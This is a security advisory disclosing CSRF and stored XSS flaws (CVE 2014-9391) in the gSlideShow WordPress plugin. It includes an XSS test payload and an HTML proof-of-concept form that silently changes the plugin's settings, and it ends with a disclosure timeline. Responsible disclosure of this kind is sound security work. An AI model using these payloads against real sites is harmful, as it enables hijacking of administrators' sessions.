WordPress gSlideShow plugin version 0.1 suffers from cross site request forgery and cross site scripting vulnerabilities.
bfa31ea8d5f299f8d532e4bb8780f420503736f321ab8645b57e54aaa95b19d8
**************************************************************************************
# Title: CSRF / Stored XSS Vulnerability in gSlideShow Wordpress Plugin
# Author: Manideep K
# CVE-ID: CVE 2014-9391
# Plugin Homepage: https://wordpress.org/plugins/gslideshow/
# Version Affected: 0.1 (probably lower versions)
# Severity: High
# Description:
Vulnerable Parameter: 1) id:rss_id , name:rss 2) display_time 3) transistion_time
Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admins browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
# Steps to Reproduce: (POC):
After installing the plugin
1. Goto settings -> gSlideshow
2. Insert this payload "><script>alert(32)</script> into any or all the fields
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below
<html>
<body>
<form action="https://localhost/wordpress/wp-admin/options-general.php?page=gslideshow.php" method="POST">
<input type="hidden" name="rss" value="csrf baby" />
<input type="hidden" name="display_time" value="500" />
<input type="hidden" name="transistion_time" value="0" />
<input type="hidden" name="save_gSlideShow_settings" value="Save Settings" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Mitigation:
Plugin Closed
# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure
# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk
***************************************************************************************